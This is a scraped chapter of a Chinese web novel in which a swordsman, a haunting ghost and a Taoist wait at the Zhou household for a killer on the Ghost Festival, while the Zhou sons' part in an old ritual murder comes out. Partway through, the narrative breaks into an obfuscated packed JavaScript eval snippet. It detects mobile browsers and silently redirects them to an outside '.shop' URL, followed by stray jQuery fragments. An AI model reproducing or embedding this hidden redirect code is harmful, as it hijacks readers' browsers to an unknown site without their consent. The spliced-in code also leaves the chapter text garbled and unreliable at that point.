文趣网 > 其他小说 > 门前柳 > 20. 20
    曲松鹤是周家自悬安司请来的帮手,自然被周家留了下来,他们见沈丛朗与曲松鹤一道,还当也是驱邪之人,便也一起安排二人入住了周家。待得无人时,曲松鹤对沈丛朗说:“沈兄,灵鬼之事与江湖事不同,你的剑虽利,却拿鬼怪没有办法,不如先行离开周家为好。”

    沈丛朗没想到曲松鹤此人看着不近人情,行事却是正派,他道:“多谢,不过谢望山——我势在必得。”与其在长安没头苍蝇似的找人,还不如在周家守株待兔。

    曲松鹤:“两日之后就是周若桁的头七,恰逢中元节,谢望山如果会出手,定是在那日。”

    沈丛朗一怔,算了算日子,果真是,两天后就是中元节了。七月,俗称鬼月,阴气重,而中元节,又称盂兰节,七月半,传说当日鬼门关大开,尚未往生的逝者会于当晚,渡过忘川,回返人间探望在世的亲人。

    沈丛朗问曲松鹤:“死了的人当真会在那一日回阳间?”

    从前沈丛朗不信鬼神,如今他的剑里就住了一只鬼,容不得他不信。曲松鹤看了他一眼,并未直言,只是说:“人间有人间的律法,鬼界也有鬼界的法则。”

    沈丛朗:“谢望山能杀周二,为什么不再出手杀周若锦?”

    曲松鹤抬起眼,看着周遭的画栋雕梁,道:“你记得入周府时,周家门口立着的数个狮首系马桩吗?那是皇帝御赐,沾有天子气,能驱恶辟邪。”

    “谢望山身边的鬼进不了周家。”

    沈丛朗恍然,他想起周若桁正是死在外头的园子里,也难怪今日这鬼较往常更是安静。他起初还当是因为曲松鹤,“那中元节?”

    曲松鹤:“中元节是极阴之日,府门口的系马桩拦不住它。”

    沈丛朗喃喃道:“如此都要杀人,必是血海深仇,事关生死,周若锦为什么还要隐瞒?”

    “曲道长,你听过这个秘术吗?”

    曲松鹤摇了摇头,说:“闻所未闻。”

    他说:“我会让悬安司查清柳庄到底发生了什么。”

    沈丛朗看了他一眼,他对此并不抱有期待,周李两家尚且不论,陈家是盐商大户,就算他们当真做了什么,当时都不过留下一笔漏洞百出的水灾,如今要查也未必能查出什么。

    权势历来能颠倒黑白。

    沈丛朗回了周家人给他准备的客房内,想着今日自李、周两家所得,余光却见不知何时剑中的鬼已经现身坐在了他身边。

    看着沈丛朗面上的错愕,鬼瞥他一眼,说:“不过区区系马桩,能奈我何?”

    沈丛朗面无表情地看着他,也熄了想弄件宫里的东西辟邪的心思,他若无其事地问他,“你记得焦姨娘口中的秘术吗?”

    鬼自听秘术二字就一直苦苦思索,可他什么都不记得了,自然对这秘术没有什么印象。可他一想到自己是死于所谓的秘术,就恼恨不已。

    依这些死者的死法,被施以秘术的人要被砍伤四肢,割断头颅,足见秘术之恶毒,说不定还是禁术。

    鬼沉默不语,沈丛朗也不意外,他看着面前这只鬼,他死时不过弱冠,什么人会对这个年纪的人下此等狠手?

    杀人不过头点地。

    鬼察觉沈丛朗一直盯着他看,有点儿羞恼,“看什么!”

    沈丛朗道:“看你。”

    鬼一怔,抬起眼,就对上青年秀丽如画的眼睛,眼尾如工笔细细描就,眼皮薄,衬得瞳仁漆黑如宝石,沈丛朗有一张与之身份迥然不同的美丽皮囊。寥寥两个字说得鬼并不存在的心脏跳了跳,硬邦邦道:“有什么可看的?”

    他脑袋都快要砍断了,既无锦衣也没有华服,连根像样的玉簪都没有,着实不体面。他下意识地想扶扶自己的脖颈,免得在沈丛朗面前落个头颈分离的可怖场面,却听沈丛朗平淡无波地说:“看你这个年纪,是如何招来的杀身之祸。”

    鬼冷哼了一声,道:“能用这等恶毒秘术的人,能是什么好人,恶人想杀人,兴许只是看不顺眼,想杀就杀了。”

    岂料沈丛朗面上竟当真露出若有所思的神情,他说:“依你的行事作风,让别人看不顺眼,倒也是情理之中。”

    鬼:“?”他磨牙,“沈丛朗,你说清楚,我怎样的作风?”

    “我怎么就让人看不顺眼了?”

    “你说清楚!”

    周家书房内,周家父子正在争执,知子莫若父,连沈曲二人都能看出周若锦有所隐瞒,周老爷岂会不知?他沉着脸,说:“你和若桁到底在临安干了什么?什么柳庄?焦氏说的秘术又是什么?”

    周若锦同样面色不虞,低声道:“爹,我也不知是不是与那件事有关……”

    “什么事?”

    周若锦有些烦躁,“其实也不是什么要紧事,不过就是不小心弄死了一个贱民,而且这也不是我和二郎的主意,是陈修的主意。”

    陈修就是临安盐商陈家的大少爷。

    周老爷道:“什么主意?”

    周若锦说:“陈修自一本古籍上看得了一个什么秘术,说找个八字纯阴之人,以秘法,杀了,能炼成可供驱使的厉鬼,他就想试一试。”

    周老爷额角青筋跳了跳,道:“你们——”

    周若锦说:“爹,我们就是看看,而且当时也不止我们在,还有娄家人。”

    周老爷深深地吸了口气,说:“怎么又牵扯上娄家?”

    “娄子真是关大儒的嫡传弟子。”

    周老爷:“后来你们处置的?”

    “那所谓的秘术不过是谬谈,我们就让人给埋了,事情都过了这么多年,哪里知道又会再生事端?”周若锦说,“爹,真是那小子来索命了?”

    周老爷说:“陈家被灭门,李耘和你弟弟都遭了毒手,你说呢?我平日里如何教导你们,少惹事生非,少惹是生非,今时不同往日了,可你们一个都不听!”

    周若锦说:“爹,八年前的事了,当时我们也还年少不知事,是那贱民不依不饶,死了还要兴风作浪!爹,悬安司的人能斗得过他吗?我要不要出府避避风头?”

    “如今知道怕了?”周老爷面沉如水,说,“你当我没想过让你出去避祸,可曲道长说了,咱们府上有天子之气庇佑,你一旦迈出府,必步你二弟后尘!”

    “曲道长术法高深,若非我豁出这张老脸,咱们还不能请来他,你这几天就在家好好待着!孽债,都是孽债啊!”

    两日转瞬即逝。沈丛朗和曲松鹤连一鬼在周家待了两日,谢望山并未出现,就是长安城内,也是风平浪静。只是有这两桩凶案在前,长安城内气氛紧张,中元节氛围

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17932950|213664||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    也更见浓厚,大抵都是想祈求平安顺遂。

    周若桁是横死在外,头七还魂,依当地旧俗,需先前往横死之地招魂。以防出现变故,曲松鹤和沈丛朗也跟着周家人一道去了出事的园子。

    周家二少的长子约莫七八岁,一身皓白,捧着周若桁的灵牌,一边走,一边抹着眼泪叫,“爹,回家了!”

    “夫君/二爷,回家了。”

    身后跟着的是周家二房的妻妾和下人,哀乐呜呜咽咽,白色的冥纸被风一卷,哗啦啦的绕着招魂幡起舞。

    沈丛朗冷眼旁观,他们都念着让周若桁还魂,周若桁要是真回来了,只怕能将他们吓得魂飞魄散。他想起那天晚上义庄里那一具具被操纵的尸体,和周家灵堂上还未封棺的棺椁,不合时宜地想,今晚要是谢望山真会出现,说不定还真要上演一出“还魂”。

    想到此处,他探了下怀中的青色锦囊,锦囊是曲松鹤早上给他的,道是里头有他画的两张符纸。沈丛朗还没说什么,鬼一脸不高兴,说,有他在,还用得着什么符纸。

    沈丛朗没搭理他,对曲松鹤道了谢,将锦囊收下了。

    时已过晌午,有百姓在家门口摆好了应时的面塑,瓜果等祭品用以施食,也有烧纸钱的,灰色的纸屑在空中飞舞,空气里弥漫着一股子冥纸和香烛燃烧的味道,隐隐约约飘来戏台上《目连救母》的唱腔,更添了几分阴惨惨的静穆氛围。

    沈丛朗抱着飞光,看着空中飞舞的纸屑出神,冷不丁的,身边传来鬼的声音,“沈丛朗,在想什么?”

    沈丛朗看了他一眼,或许是今日的确是阴气重,这鬼在青天白日里现身也一派从容,若非只有自己和曲松鹤看得见他,只怕还当是路边哪个落魄江湖客。

    沈丛朗当没听见,鬼探头往四周瞧,又说:“中元节要祭祖,你怎么不给你家祖宗上供,当心他们今晚出了鬼门关来找你。”

    沈丛朗不咸不淡道:“找我正好,让他们把你带走。”

    鬼嘿然一笑,“没听见那臭道士说的吗,我可是煞,一口一个把你家祖宗都吃喽。”

    “再说,收了我,今晚周若桁要是诈尸了,谁帮你?”

    沈丛朗面无表情道:“若不是你,我今日不会在此。”

    “阿朗,这说不定就是你我的缘分了,命中注定,合该你今日在此。”鬼笑嘻嘻的,言辞轻佻。

    沈丛朗看了看他,突然露出几分怜悯,说:“你若是想求我给你烧纸,看在今日过节的份上,我也未必不肯帮你。”

    鬼:“什么?”

    沈丛朗:“就连周二那样的纨绔死了都有人郑重其事的祭祀,你却什么都没有,只能捡点儿别人好心烧给孤魂野鬼的,真可怜。”

    鬼阴着脸,“谁会捡别人烧给孤魂野鬼的,小爷又不是孤魂野鬼!谁可怜了?!”

    沈丛朗:“哦,有人烧给你了?”

    鬼阴郁地瞪着沈丛朗,沈丛朗轻轻“啊”了声,竟罕见地朝他笑了一下,说:“我烧给你你也是收不到的,毕竟连你自己都不知道你是谁。”

    鬼:“……沈丛朗!”

    沈丛朗看着这鬼气急败坏的模样,心头的郁气一扫而空,恍惚间却想,他嘲这鬼死后无人祭拜,他死后又有谁会知晓呢?

    也不过是一孤魂野鬼尔。